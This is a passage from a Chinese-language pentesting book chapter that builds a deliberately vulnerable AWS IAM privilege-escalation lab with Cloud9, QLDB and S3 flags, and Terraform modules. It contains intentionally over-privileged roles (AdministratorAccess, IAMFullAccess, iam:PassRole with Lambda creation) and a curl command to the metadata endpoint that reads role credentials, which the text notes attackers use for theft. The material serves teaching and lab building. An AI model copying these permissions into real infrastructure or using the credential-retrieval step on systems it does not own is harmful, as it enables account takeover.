在这一部分,我们将设置一个 AWS Cloud9 环境,帮助我们加速准备用于脆弱 IAM 实验室的 Terraform 代码。如果你在疑惑 AWS Cloud9 是什么,它实际上是一个 集成开发环境(IDE),让开发者和工程师可以通过浏览器来管理和运行代码。如果你之前使用过其他 IDE,如 Visual Studio Code 和 Eclipse,你可以把 Cloud9 想象成 AWS 提供的基于云的解决方案,它为软件开发提供了一个协作和灵活的环境。
使用 AWS Cloud9,我们的代码存储并运行在一个 Amazon 弹性计算云(EC2)实例中,给我们提供了类似本地机器的控制和熟悉感。例如,如果在使用 AWS Cloud9 时遇到磁盘空间问题,我们可以简单地扩展托管我们 Cloud9 环境的底层 EC2 实例的存储容量。我们可以通过调整实例附加的 弹性块存储(EBS)卷的大小来实现,这个卷就像是我们机器的硬盘。相比之下,在使用 AWS CloudShell 时,由于没有直接面向用户的选项来增加环境的存储空间(目前),我们没有类似的选项。
重要提示
虽然使用 AWS CloudShell 是免费的,但使用 AWS Cloud9(环境运行在 EC2 实例中)会产生底层 EC2 实例和存储的费用,以及在使用这些服务时涉及的其他资源费用。如需更多信息,请随时查看以下链接:aws.amazon.com/cloud9/pricing/。
现在我们对 AWS Cloud9 有了更清晰的了解,接下来我们可以继续准备我们的 Cloud9 环境。由于设置环境需要较长的步骤序列,我们将把这一部分分为三部分,具体如下:
-
第一部分 - 准备 EC2 实例角色
-
第二部分 - 启动 Cloud9 环境
-
第三部分 - 将 IAM 角色附加到 Cloud9 环境的 EC2 实例
事不宜迟,让我们开始吧!
第一部分 - 准备 EC2 实例角色
要准备 EC2 实例角色,按照以下步骤操作:
-
使用搜索栏导航到 IAM 控制台,类似于图 7.1中所示:
![]()
图 7.1 – 导航到 IAM 控制台
在搜索栏中输入
iam后,我们必须从搜索结果列表中选择 AWS IAM 服务。AWS IAM 服务允许用户控制和管理对 AWS 资源的访问,通过一组权限来确定谁可以访问哪些资源。使用 AWS IAM 服务,我们可以创建 IAM 用户,使其能够访问 AWS 管理控制台,并且可以创建 IAM 角色,这些角色可以附加到 AWS 服务、应用程序和 AWS 资源(例如 EC2 实例)上,从而安全地访问其他 AWS 资源。 -
在侧边栏中找到 访问管理,然后点击 角色 进入页面,在该页面上我们可以找到 AWS 账户中 IAM 角色的列表。
-
在
IAM** >角色** 页面上,点击 创建角色 按钮(位于页面右上角)。 -
在
IAM** >角色** > 创建角色 | 第 1 步:选择受信实体 页面上,选择 AWS 服务(在 受信实体类型 下):![]()
图 7.2 – 选择受信实体
在这里,我们需要确保选择了
EC2选项(在 使用案例 > 常见使用案例 下),类似于图 7.2所示。随后点击 下一步 按钮。如果你看到的是服务或使用案例下拉菜单,简单地从可用选项中选择 EC2。然后点击 下一步 按钮。 -
现在,让我们为我们的 IAM 角色添加一个 AWS 管理的策略,以定义我们的角色应该拥有的权限。在
IAM** >角色** > 创建角色 | 第 2 步:添加权限 页面上,找到并选择在图 7.3中突出显示的AdministratorAccess权限策略:![]()
图 7.3 – 添加 AdministratorAccess 权限策略
我们可以通过在筛选搜索中输入
administrator,然后按 Enter 键来筛选结果列表。确保选中AdministratorAccess权限策略的复选框,以便将其附加到 IAM 角色。AdministratorAccess策略是提供最高权限级别的策略,其配置如下:{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }该权限策略授予对任何 AWS 操作和任何 AWS 资源的无限制权限。换句话说,任何与此策略关联的 IAM 实体(如 IAM 用户、组或角色)将拥有对 AWS 环境中任何资源执行任何操作的完全访问权限。
重要提示
添加AdministratorAccess权限策略到 IAM 角色时要小心。此策略因其过度宽松的特性而著称,因为它提供对几乎所有 AWS 服务和资源的无限制访问。虽然它可能为管理任务(类似于我们现在所做的!)提供便利,但我们需要尽可能避免使用它。如果不幸地,假设 IAM 角色并具有AdministratorAccess权限策略的资源遭到攻击者的入侵,攻击者可能会获得对整个 AWS 环境的无限制控制。这可能导致未经授权的修改、数据泄露、服务中断,甚至敏感信息的泄露。相反,我们应该采用最小权限原则(PoLP)方法,仅授予 IAM 角色执行任务所必需的权限,从而确保 AWS 资源的安全性和完整性。我们将在本章后面看到更多内容!
-
然后点击下一步按钮。
-
在
IAM** >角色** > 创建角色 | 第 3 步:命名、审查并创建页面中,在角色名称输入框中指定terraform-environment-role。然后点击创建角色按钮。 -
当你看到成功通知(例如,角色 terraform-environment-role 已创建)时,点击页面右上角的查看角色按钮。
注意
或者,你也可以简单地在IAM** > 角色**页面的搜索框中搜索terraform-environment-role。
-
在
IAM** >角色> **terraform-environment-role页面中,找到并点击信任关系标签下的编辑信任策略按钮。 -
在
IAM** >角色> **terraform-environment-role** >编辑信任策略**页面中,在文本区域中指定以下 JSON 策略:{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": [ "ec2.amazonaws.com", "cloud9.amazonaws.com" ] }, "Action": "sts:AssumeRole" } ] }在这里,我们的信任策略的目的是确定哪些实体或服务(主体)被授予权限以承担指定的 IAM 角色。在此背景下,信任策略设计为允许 Amazon EC2 实例(ec2.amazonaws.com)和 AWS Cloud9 环境(cloud9.amazonaws.com)承担定义的 IAM 角色。通过
"sts:AssumeRole"操作,这些授权服务可以临时使用与 IAM 角色相关的权限,在基于角色策略定义的权限下对 AWS 资源执行操作。
注意
如需了解更多有关信任策略的信息,请随时查看以下链接:
aws.amazon.com/blogs/security/how-to-use-trust-policies-with-iam-roles/
- 然后点击更新策略按钮。此时,我们的 IAM 角色已准备就绪!稍后,我们将在 Cloud9 环境(以及 EC2 实例)创建之后,将此 IAM 角色附加到 EC2 实例上。
第二部分中的第三部分 – 启动 Cloud9 环境
现在,让我们按照接下来的步骤继续创建 Cloud9 环境:
-
在搜索栏中输入
cloud9:![]()
图 7.4 – 导航到 Cloud9 控制台
从结果列表中选择
Cloud9(如图 7**.4所示)。 -
接下来,点击创建环境。
-
在名称字段下,为 Cloud9 环境指定一个名称(例如,TerraformEnvironment)。在环境类型字段中,选择新建
EC2 实例。 -
配置环境,类似于图 7**.5所示:
![]()
图 7.5 – 配置我们的 Cloud9 环境
在这里,我们将 Cloud9 环境配置为运行在
t2.microEC2 实例上。我们还将环境配置为使用Ubuntu Server 22.04 LTS(或更高版本,具体取决于可用的版本)作为平台。为了帮助我们管理成本,我们指定了超时值为4 小时。
注意
此超时设置有助于确保在不活跃使用时,实例不会无限期地运行。当 Cloud9 环境在指定的时间段内处于空闲状态时(例如,在我们的案例中是 4 小时),运行 Cloud9 环境的 EC2 实例将会自动关闭。
-
在网络设置下,我们指定以下配置值:
-
连接:AWS 系统管理器 (SSM)
-
VPC 设置:
-
Amazon 虚拟私有云 (VPC):选择现有的 VPC 或创建一个新的 VPC
-
子网:无偏好
-
-
重要提示
在某些情况下,由于 VPC 网络设置中的配置问题,Cloud9 实例无法启动。如果您看到类似无法访问您的环境...创建失败...的错误,您可能需要使用不同的可用区和/或在启动 Cloud9 实例时使用默认的 VPC。或者,您可以创建一个新的 VPC,仅使用公共子网,以便快速解决问题。您可以使用 VPC 向导并选择带有单个公共子网选项的 VPC。一旦新 VPC 创建完成,请在配置和创建新的 Cloud9 实例时使用该 VPC 和公共子网。如果这些方法都无效,请使用带有现有默认 VPC 的不同区域,并尝试不同的子网。
- 然后点击创建按钮。
注意
这一步可能需要大约 3-5 分钟才能完成。等待时,不妨喝杯咖啡或茶!
第三部分,共 3 部分 – 将 IAM 角色附加到 Cloud9 环境的 EC2 实例
现在我们的 Cloud9 环境已经创建完成,接下来我们将把之前创建的 IAM 角色附加到 Cloud9 环境的 EC2 实例。请按以下步骤操作:
-
通过切换ON单选按钮选择环境,类似于图 7**.6所示:
![]()
图 7.6 – 导航到 Cloud9 环境的详情页面
点击查看详情按钮,导航到我们刚刚创建的 Cloud9 环境的详情页面。
-
向下滚动到页面底部,找到并点击管理 EC2 实例按钮。这将把我们重定向到 EC2 实例列表(只显示我们 Cloud9 环境的 EC2 实例)。
-
选择 EC2 实例(通过勾选开启复选框),类似于我们在图 7.7中的操作:
![]()
图 7.7 – 导航到修改 IAM 角色页面
打开操作下拉菜单,选择安全 > 修改 IAM 角色(如图 7.7所示)。
-
在下拉菜单中,选择之前步骤中创建的 IAM 角色(terraform-environment-role):
![]()
图 7.8 – 更新 IAM 角色
随后点击更新 IAM 角色按钮。由于我们已经附加了一个 IAM 角色,授予几乎所有 AWS 服务和资源的无限制访问权限,请确保在完成本章后,稍后从 EC2 实例中解除该角色。
-
返回到我们的 Cloud9 环境的详细信息页面,然后点击在 Cloud9 中打开。
-
在菜单栏上,选择
AWS Cloud9** > **Preferences(如图 7.9所示):![]()
图 7.9 – 打开首选项选项卡
在这里,我们可以自定义各种设置,以便根据我们的偏好调整开发环境,并优化编码体验。当然,我们不是来改变字体大小或修改主题的!我们是来关闭AWS 托管临时凭证配置(这是我们在下一步中要做的)。
-
关闭AWS 托管临时凭证配置设置(在AWS 设置 > 凭证下),以便使用附加到 EC2 实例的角色:
![]()
图 7.10 – 禁用 AWS 托管临时凭证设置
一旦你关闭了AWS 托管临时凭证设置(如图 7.10所示),你可以关闭首选项选项卡。
-
在终端中(在
$符号后),运行以下命令来验证我们不再使用 Cloud9 环境中的托管临时凭证:aws sts get-caller-identity --query Arn这将返回以下Amazon 资源名称(ARN)值:
"arn:aws:sts::...:assumed-role/terraform-environment-role/..."在这里,我们使用
AWS Security Token Service(AWS STS)来获取关于调用者身份的信息,包括与名为terraform-environment-role的假定角色相关联的 ARN。
重要提示
在幕后,当启用对运行在 Cloud9 环境中的 EC2 实例内的应用程序、脚本、命令和工具(如 Terraform)进行安全访问时,仍然涉及安全凭证。你可以运行以下命令,从本地元数据服务中检索临时凭证:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/terraform-environment-role。请注意,攻击者也可以使用相同的命令从被攻击的 EC2 实例中窃取凭证。这些凭证随后可以被复制并在另一台机器(例如攻击者的机器)上使用 AWS CLI 进行设置。这将使攻击者能够访问各种 AWS 资源和服务,并远程执行恶意操作。可怕吧?鉴于我们的 Cloud9 环境中的 EC2 实例已配置了具有AdministratorAccess权限策略的 IAM 角色,请确保在完成本章后,从 Cloud9 环境的 EC2 实例中分离terraform-environment-role IAM 角色。
-
最后,让我们通过运行以下命令检查是否已经在 Cloud9 环境中安装了 Terraform:
terraform version运行上述命令后,应该会得到如下输出(或类似的输出):
Terraform vX.Y.Z on linux_amd64 Your version of Terraform is out of date! The latest version is X.Y.Z. You can update by downloading from https://www.terraform.io/downloads.html通过这样做,我们应该能够在 Cloud9 环境中使用 Terraform,而无需单独安装它。请注意,本章中运行配置代码时使用的 Terraform 版本是
v1.5.5。你可以在这里找到 Terraform 的官方发布和版本(如果你希望运行相同版本的话):releases.hashicorp.com/terraform。
注意
如果你需要单独安装 Terraform,请按照这里提供的说明操作:
developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli
此时,我们已经有了一个可以编写和运行 Terraform 配置代码的 Cloud9 环境。接下来,我们可以继续设置实验室环境的目标资源。
手动设置云资源和标志
在本节中,我们将使用 AWS 管理控制台设置多个实验室资源。虽然这些资源可以通过 Terraform 自动创建,但我们将手动准备这些资源,并借此机会讨论这些资源的配置方式,深入探讨相关的概念、术语和服务。
与图 7.11类似,我们将设置一个量子账本数据库(QLDB)数据库资源,并配合一个简单存储服务(S3)桶:

图 7.11 – 本节中我们将设置和准备的内容
然后,我们将在这些资源中设置标志——一个标志在 QLDB 数据库资源中,另一个标志存储在 S3 存储桶中。如果你在想这些标志长什么样,它们只是包含FLAG字样的字符串值,存储在实验环境中的资源和组件里。当然,我们在这里简化了事情,因为标志文件可能包含一串随机字符。
注意
在渗透测试实验环境中,标志作为成功利用和进展的重要标记。这些标志通常代表敏感数据或凭证,攻击者(或扮演攻击者角色的人)在实际攻陷中目标是获取这些标志。
在设置这些资源之后,我们还将创建一个易受攻击的 Lambda 执行角色(在图 7.11中未显示)。这个 IAM 角色在实验环境中启用 IAM 权限提升方面发挥着关键作用(此处无心玩笑!)。
本节分为三部分,如下所示:
-
第一部分,共 3 部分 - 使用第一个标志准备 QLDB 资源
-
第二部分,共 3 部分 - 设置带有第二个标志的 S3 存储桶
-
第三部分,共 3 部分 - 创建易受攻击的 Lambda 执行角色
第一部分,共 3 部分 - 使用第一个标志准备 QLDB 资源
让我们从设置 QLDB 资源开始,我们将在其中存储第一个标志。请按以下步骤操作:
-
打开一个新的浏览器标签页,然后导航到 AWS 控制台。在搜索框中输入
qldb,然后从搜索结果列表中选择Amazon QLDB:![]()
图 7.12 – 导航到 Amazon QLDB 控制台
如果你在想 Amazon QLDB 是什么,它是一个完全托管的数据库服务,旨在提供一个不可变的账本,可以记录应用程序数据随时间的变化。Amazon QLDB 可用于各种应用场景,例如财务账本管理、IAM 审计,以及其他需要安全、透明和防篡改的数据变更记录的场景。
-
现在,点击创建
账本按钮。
注意
在 Amazon QLDB 中,账本代表不可变的事务记录和数据修改。每一笔账本中的交易都通过加密与前一笔交易相连,确保数据的完整性,并提供可验证的变更历史。
-
在创建账本页面,指定
booksLedger作为账本名称:![]()
图 7.13 – 创建我们的账本资源
向下滚动到页面底部,然后点击创建
账本按钮。注意
此步骤可能需要 3-5 分钟才能完成。在等待期间,随意喝杯咖啡或茶!
-
从账本列表中,点击
booksLedger链接(在名称列下):![]()
图 7.14 – 定位到 booksLedger 链接
如果你在疑惑该点击哪个链接,只需找到图 7.14中突出显示的链接。
-
向下滚动并找到创建表按钮(在图 7.15中突出显示):
![]()
图 7.15 – 创建表按钮
这将把你重定向到创建表格页面,在那里你会找到一个创建新表格的表单,创建在
booksLedger账本内。指定表格名称为books,然后点击创建表格按钮。注意
在 Amazon QLDB 中,账本是一个数据库实体或资源,包含一个或多个表。QLDB 账本中的每个表表示一组逻辑上的文档或记录。与关系型数据库中的表类似,QLDB 账本中的表用于组织和结构化数据。
-
现在,点击查询账本按钮,这将打开 PartiQL 编辑器,类似于图 7.16中的效果!
![]()
图 7.16 – PartiQL 编辑器
在这个编辑器中,我们可以运行 PartiQL 查询,类似于运行 SQL 语句,从数据库的表中检索和更新数据。如果你以前没有接触过 PartiQL,它是一种提供 SQL 类似语法的查询语言,专为查询和处理半结构化数据设计。我们很快就会看到一些 PartiQL 查询!
注意
虽然 PartiQL 被用作与账本数据交互的查询语言,但需要注意的是,Amazon QLDB 只支持该查询语言的一个子集。
-
在选择账本下,从可用的选项列表中选择
booksLedger。 -
现在,让我们运行以下代码插入几条文档:
INSERT INTO books `{"ID":"ABCD", "Title":"Machine Learning with Amazon SageMaker Cookbook", "Notes":"Machine Learning"}`; INSERT INTO books `{"ID":"EFGH", "Title":"Machine Learning Engineering on AWS", "Notes":"Machine Learning Engineering"}`; INSERT INTO books `{"ID":"IJKL", "Title":"Building and Automating Penetration Testing Labs in the Cloud", "Notes":"Security"}`; -
现在,让我们使用以下查询检查表格的样子:
SELECT * FROM books;这将给我们以下一组结果:
![]()
图 7.17 – books 表格,包含三条新文档
确保点击表格按钮,这样我们就能看到与图 7.17类似的结果,以表格格式显示。
-
让我们使用以下
UPDATE命令插入一个标志:UPDATE books AS b SET b.Flag='Flag # 1!' WHERE b.ID='IJKL';
注意
你可能会想,这样检索这个标志不是太简单了吗? 不用担心,我们稍后会删除此表中的所有记录,让事情变得更加有挑战性!
-
现在,让我们使用以下查询检查表格的样子:
SELECT * FROM books;这将给我们以下一组结果:
![]()
图 7.18 – books 表格,带有第一个标志
在这里,我们只是检查在上一步执行
UPDATE命令后,表格的样子。 -
现在,让我们从
books表中删除所有文档,操作如下:DELETE FROM books; -
现在,让我们再次运行以下查询,检查是否已经成功删除所有文档:
SELECT * FROM books;这将给我们一个空的结果,类似于图 7.19中的结果:
![]()
图 7.19 – 确认我们已经成功删除了表中的所有文档
在这里,我们可以确认已经成功删除了表中的所有文档(包括标志)。在本章的后面,你将看到我们仍然能够检索到该标志的具体步骤(就像魔术师从帽子里拉出兔子一样!)。
第二部分:设置带有第二个标志的 S3 桶
现在,让我们继续设置一个新的 S3 桶,在其中存储一个标志文本文件。请按照以下步骤操作:
-
我们将从打开 Cloud9 环境开始,在那里我们可以在终端中运行命令。
-
在 Cloud9 环境的终端(
$符号后)中运行以下命令。确保在运行以下代码块之前,将<S3 BUCKET NAME>替换为一个独特的 S3 桶名称:S3_BUCKET=<S3 BUCKET NAME>请注意,这里使用的 S3 桶名称应该是一个尚不存在的桶名称。
-
使用以下命令创建一个 S3 桶:
aws s3 mb s3://$S3_BUCKET这应该会产生以下输出:
make_bucket: <S3 BUCKET NAME>这里,
<S3 BUCKET NAME>的值取决于你之前指定的桶名称。注意
确保将 S3 桶名称复制到本地计算机上的文本编辑器中。我们稍后将在渗透测试模拟中需要它。
-
运行以下命令创建一个包含
FLAG值的flag.txt文件:echo "FLAG # 2!" > flag.txt -
一切准备好后,让我们将
flag.txt文件上传到我们创建的 S3 桶:aws s3 cp flag.txt s3://$S3_BUCKET/flag.txt这应该会产生以下输出:
upload: ./flag.txt to s3://<S3 BUCKET NAME>/flag.txt同样,
<S3 BUCKET NAME>的值取决于你之前指定的桶名称。 -
最后,让我们删除存储在 Cloud9 环境中的
flag.txt文件:rm flag.txt
现在,让我们创建一个易受攻击的 Lambda 执行角色,这个角色将在运行 Lambda 函数以调用 ML 端点时使用。
第三部分:创建一个易受攻击的 Lambda 执行角色
如果你想知道 AWS Lambda 是什么,它是一个无服务器计算服务,允许用户在事件触发时运行代码(在函数内),无需管理服务器。与 EC2 实例类似,我们可以将一个 IAM 角色附加到 AWS Lambda 函数上,从而授予该函数在附加角色中指定的权限。为此,请按照以下步骤操作:
-
现在,我们对将要创建的内容有了更清晰的了解,让我们通过搜索框导航到 IAM 控制台:
![]()
图 7.20 – 导航到 IAM 控制台
在搜索框中输入
iam后,我们必须从搜索结果列表中选择 IAM 服务,如图 7.20中所示。 -
在侧边栏中找到访问管理,然后点击角色,进入页面,我们可以找到 AWS 账户中的 IAM 角色列表。
-
在
IAM** >角色页面中,点击页面右上角的创建角色**按钮。 -
在
IAM** >角色** > 创建角色 | 步骤 1:选择受信任的实体页面中,选择AWS 服务(在受信任的实体类型下)和Lambda(在常用案例下),与我们在图 7.21中看到的类似:![]()
图 7.21 – 选择受信任的实体
这次,我们在常用案例下选择的是
Lambda,而不是EC2。之后点击下一步按钮。 -
在
IAM** >角色** > 创建角色 | 步骤 2:添加权限页面中,使用搜索过滤器找到并选择IAMFullAccess和AmazonSageMakerFullAccess权限策略(分别选择)。然后点击下一步按钮。
注意
确保将IAMFullAccess和AmazonSageMakerFullAccess权限策略的复选框切换为启用,以选择我们想要附加到 IAM 角色的权限策略。
-
在
IAM** >角色** > 创建角色 | 步骤 3:命名、审查和创建页面中,在角色名称输入框中指定lambda-role。然后点击创建角色按钮。当你看到成功通知(例如,角色 lambda-role 创建成功)时,点击页面右上角的查看角色按钮。或者,你也可以在
IAM** >角色**页面的搜索框中搜索lambda-role(如图 7.22所示):![]()
图 7.22 – 使用搜索框查找我们创建的角色
-
在
IAM** >角色** > lambda 角色页面中,找到并点击编辑信任策略按钮,该按钮位于信任关系标签下。 -
在
IAM** >角色> **lambda-role** >编辑信任策略**页面中,在文本区域指定以下 JSON 策略:{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" }, { "Effect": "Allow", "Principal": { "Service": "sagemaker.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }该信任策略旨在授权 AWS Lambda 函数(lambda.amazonaws.com)和 Amazon SageMaker 资源(sagemaker.amazonaws.com)承担已定义的 IAM 角色。通过
sts:AssumeRole操作,授权的服务和资源可以暂时使用与 IAM 角色关联的权限,在 AWS 资源上执行基于角色策略中定义的权限的操作。 -
然后点击更新策略按钮。
注意
由于该 IAM 角色已附加了IAMFullAccess权限策略(除了AmazonSageMakerFullAccess策略外),因此它可以用于在 AWS 环境中提升权限。举例来说,拥有此角色的 AWS Lambda 函数可以执行广泛的操作——包括创建一个具有管理员权限的新 IAM 用户!
利用 Terraform 自动设置目标资源
此时,我们应该已经在账户中创建了几个资源(如 QLDB 账本数据库和我们存储标志的 S3 存储桶)。在本节中,我们将使用 Terraform 设置更多资源,以完成 IAM 权限升级实验。
这是我们在本节中将创建和配置的资源概览:

图 7.23 – 我们将使用 Terraform 创建和配置的资源
由于我们的实验环境应该模仿一个机器学习工作坊环境,我们将创建和配置(1)一个用于访问工作坊环境的 IAM 用户,以及(2)一个包含相关工作坊文件(包括已下载到实例中的 Jupyter Notebook .ipynb 文件)的 SageMaker notebook 实例。在这里,工作坊的 IAM 用户 应仅具有列出并访问可用 SageMaker notebook 实例的权限。此外,我们还将设置和配置一些其他附加资源来完成实验室设置。
在进行本节的动手操作之前,让我们先熟悉几个关键服务和术语:
-
Amazon SageMaker—一个完全托管的机器学习服务,帮助数据科学家和机器学习工程师显著加快训练、部署和管理云端机器学习模型的过程。SageMaker 提供了端到端机器学习工作流的全面功能和能力。 -
SageMaker notebook 实例—一个托管环境,预配置了常用于机器学习需求的应用程序和工具。
-
Jupyter Notebook—一个用于创建和共享笔记本(具有.ipynb文件扩展名的文件) 的 Web 应用程序,包含可运行的代码、交互元素、可视化和文档文本。 -
生命周期配置脚本—使用户能够在 SageMaker notebook 实例内自动化设置和配置。
-
AWS Lambda—一个无服务器计算服务,允许用户响应事件(或触发器)运行代码,而无需配置或管理服务器。通过此服务,开发人员可以专注于编写应用程序的代码,因为他们不再需要担心管理代码运行的基础设施。
现在我们已经对本节将要设置的内容有了清晰的了解,让我们继续准备 Terraform 代码。
本节分为以下几个子部分,如下所示:
-
第一部分,共 4 部分 – 设置文件和 文件夹结构
-
第二部分,共 4 部分 – 定义 iam_workshop_user 模块资源
-
第三部分,共 4 部分 – 定义 notebook_instance_role 模块资源
-
第四部分,共 4 部分 – 定义 notebook_instance 模块资源
第一部分,共 4 部分 – 设置文件和文件夹结构
让我们从设置文件和文件夹结构开始。请按照以下步骤操作:
-
在继续之前,请确保 Cloud9 环境在浏览器标签页中打开。
-
在 Cloud9 环境的终端中,使用以下命令导航到
environment目录(在$符号后):cd ~/environment -
运行以下命令(每次一行)以创建一个新的目录(命名为iam_lab)并导航到该目录:
mkdir -p iam_lab cd iam_lab -
现在,让我们创建项目根文件夹中的文件:
touch main.tf touch outputs.tf touch variables.tf touch terraform.tfvars -
运行以下命令(每次一行)以创建一个名为
iam_workshop_user的新目录并导航到该目录:mkdir iam_workshop_user cd iam_workshop_user在这里,我们将在之前步骤中创建的
iam_lab目录下创建一个iam_workshop_user目录。 -
接下来,让我们在
iam_workshop_user模块目录中创建文件:touch main.tf touch outputs.tf touch variables.tf在这里,我们正在设置模块文件,用于定义模拟中攻击者(作为工作坊参与者)在本章结尾时使用的 IAM 用户。
-
运行以下命令创建一个名为
notebook_instance_role的新目录并进入该目录:cd ~/environment/iam_lab mkdir notebook_instance_role cd notebook_instance_role在这里,我们将在之前创建的
iam_lab目录下创建一个notebook_instance_role目录。 -
我们还将创建
notebook_instance_role模块目录中的文件:touch main.tf touch outputs.tf touch variables.tf -
等等……我们还没完成!我们需要再创建一个模块目录!运行以下命令创建一个名为
notebook_instance的新目录并进入该目录:cd ~/environment/iam_lab mkdir notebook_instance cd notebook_instance在这里,我们将在
iam_lab目录下创建一个notebook_instance目录。 -
现在,让我们在
notebook_instance目录中创建文件:touch main.tf touch outputs.tf touch variables.tf touch lifecycle_script.sh在这里,我们正在设置模块文件,用于定义 SageMaker 笔记本实例以及其他相关资源(例如生命周期配置),这些资源将在稍后的权限提升模拟中使用。
注意
到此为止,iam_lab目录下应该有三个目录:(1)iam_workshop_user、(2)notebook_instance_role 和(3)notebook_instance。
-
文件和文件夹结构设置完成后,让我们导航到项目的根文件夹:
cd ~/environment/iam_lab -
现在,让我们在编辑器中打开
main.tf文件(~/environment/iam_lab/main.tf),类似于我们在图 7.24中看到的内容:![]()
图 7.24 – 定位并打开根模块的 main.tf 文件
请注意,我们有四个
main.tf文件——一个位于根目录(iam_lab)中的main.tf文件,以及另外三个位于模块目录中的main.tf文件。 -
在编辑器中打开
~/environment/iam_lab/main.tf文件,接下来我们将添加以下代码块来定义项目中将使用的模块:module "iam_workshop_user" { source = "./iam_workshop_user" } module "notebook_instance" { source = "./notebook_instance" } module "notebook_instance_role" { source = "./notebook_instance_role" }在这里,我们将模块块添加到
main.tf中,以包含来自各自源目录的iam_workshop_user、notebook_instance和notebook_instance_role模块。在继续下一步之前,请确保保存main.tf文件。 -
接下来,让我们用以下代码更新
~/environment/iam_lab/variables.tf文件:variable "workshop_user_username" { type = string } variable "notebook_instance_name" { type = string } variable "notebook_instance_role_name" { type = string }在这里,我们定义了三个变量——
workshop_user_username、notebook_instance_name和notebook_instance_role_name。请注意,这次我们不指定默认值,因为我们将使用terraform.tfvars文件来存储变量值。修改variables.tf文件后,请确保保存它,然后继续下一步。 -
现在,打开
terraform.tfvars文件,并使用以下代码更新它:workshop_user_username = "sagemaker-workshop-user" notebook_instance_name = "target-notebook-instance" notebook_instance_role_name = "notebook-instance-role" -
在终端中(
$符号后面),我们使用terraform init命令初始化 Terraform 工作目录:terraform init -
运行
terraform plan,预览 Terraform 将执行的更改:terraform plan这应该会返回“没有更改。您的基础设施与配置相符。”
注意
你可以在本书的 GitHub 仓库中找到本章使用的代码副本:
第二部分,共 4 部分 - 定义 iam_workshop_user 模块资源
现在,让我们专注于为iam_workshop_user模块(在~/iam_lab/iam_workshop_user目录中)准备代码。按照以下步骤进行:
-
打开
iam_workshop_user/main.tf文件,在 Cloud9 编辑器中并更新以下代码块:data "aws_caller_identity" "current" {} resource "aws_iam_user" "workshop_user" { name = var.username } resource "aws_iam_user_policy_attachment" "sagemaker_policy_attachment" { user = aws_iam_user.workshop_user.name policy_arn = join("", [ "arn:aws:iam::aws:policy/", "AmazonSageMakerFullAccess" ]) } resource "aws_iam_user_login_profile" "profile" { user = ( aws_iam_user.workshop_user.name ) password_length = 10 password_reset_required = false }在这里,我们的 Terraform 代码(1)自动创建一个 IAM 用户(作为研讨会的 IAM 用户),(2)附加一个授予完全访问Amazon SageMaker 的策略,并且(3)为用户配置一个登录配置文件。我们之前提到过,研讨会的 IAM 用户应该仅有列出并访问可用的 SageMaker 笔记本实例的权限。看来我们的研讨会 IAM 用户在这里也被授予了过多的权限!
注意
在继续之前,请确保保存iam_workshop_user/main.tf文件(以及我们将在接下来的步骤中修改的其他文件)。
-
接下来,更新
iam_workshop_user/variables.tf文件,添加以下代码块:variable "username" { type = string } -
我们也来更新
iam_workshop_user/outputs.tf文件:output "username" { value = aws_iam_user.workshop_user.name } output "signin_url" { value = join("",[ "https://", data.aws_caller_identity.current.account_id, ".signin.aws.amazon.com/console" ]) } output "password" { value = aws_iam_user_login_profile.profile.password }在这里,我们为
iam_workshop_user模块定义了username、signin_url和password输出。 -
在我们的
main.tf** (**~/environment/iam_lab/main.tf) 文件中,定位到以下代码块:module "iam_workshop_user" { source = "./iam_workshop_user" }更新它,添加以下代码块:
module "iam_workshop_user" { source = "./iam_workshop_user" username = var.workshop_user_username }在这里,我们将
workshop_user_username变量值传递给iam_workshop_user模块的username输入变量。 -
更新
outputs.tf文件,添加以下输出块:output "iam_workshop_user_username" { value = module.iam_workshop_user.username } output "signin_url" { value = module.iam_workshop_user.signin_url } output "iam_workshop_user_password" { value = module.iam_workshop_user.password }在这里,我们为根模块定义了
iam_workshop_user_username、signin_url和iam_workshop_user_password输出。 -
在终端中(
$符号后面),我们使用terraform init命令重新初始化 Terraform 工作目录:terraform init在运行命令之前,确保你在
~/iam_lab目录下。 -
接下来,运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会输出以下内容:
... Plan: 3 to add, 0 to change, 0 to destroy. ... -
最后,使用
terraform apply命令实施更改:terraform apply -auto-approve这应该会给我们以下输出:
... Apply complete! Resources: 3 added, 0 changed, 0 destroyed. ...
第三部分,共 4 部分 - 定义 notebook_instance_role 模块资源
现在,让我们集中精力准备notebook_instance_role模块的代码(位于~/iam_lab/notebook_instance_role目录中)。请按照以下步骤操作:
-
让我们通过定义 SageMaker 笔记本实例 IAM 角色以及假设角色策略来更新
notebook_instance_role/main.tf文件:resource "aws_iam_role" "notebook_instance_role" { name = var.notebook_instance_role_name assume_role_policy = <<EOF { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "Service": "sagemaker.amazonaws.com" } } ] } EOF }这里,假设角色策略授予 SageMaker 笔记本实例权限,使其可以假设该角色。
-
现在,让我们在同一文件中定义以下代码块,以扩展我们在上一步中定义的 IAM 角色(notebook_instance_role)的权限:
resource "aws_iam_role_policy_attachment" "notebook_instance_role_sagemaker_policy" { role = ( aws_iam_role.notebook_instance_role.name ) policy_arn = join("", [ "arn:aws:iam::aws:policy/", "AmazonSageMakerFullAccess" ]) } resource "aws_iam_role_policy" "notebook_instance_role_inline_policy" { name = "create-function-policy" role = aws_iam_role.notebook_instance_role.name policy = <<EOF { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*", "lambda:CreateFunction", "lambda:InvokeFunction", "lambda:DeleteFunction", "iam:PassRole" ], "Resource": "*" } ] } EOF }在这里,我们通过以下方式扩展 IAM 角色的权限:(1) 附加
AmazonSageMakerFullAccess托管策略,(2) 创建并附加一个内联策略,允许我们创建、调用和删除 AWS Lambda 函数,并在 Amazon S3 中执行各种操作。
注意
在继续之前,确保保存对notebook_instance_role/main.tf文件所做的更改。
-
打开
notebook_instance_role/outputs.tf文件,并用以下代码块更新它:output "notebook_instance_role_arn" { value = aws_iam_role.notebook_instance_role.arn }在这里,我们正在为
notebook_instance_role模块定义notebook_instance_role_arn输出。 -
让我们也更新
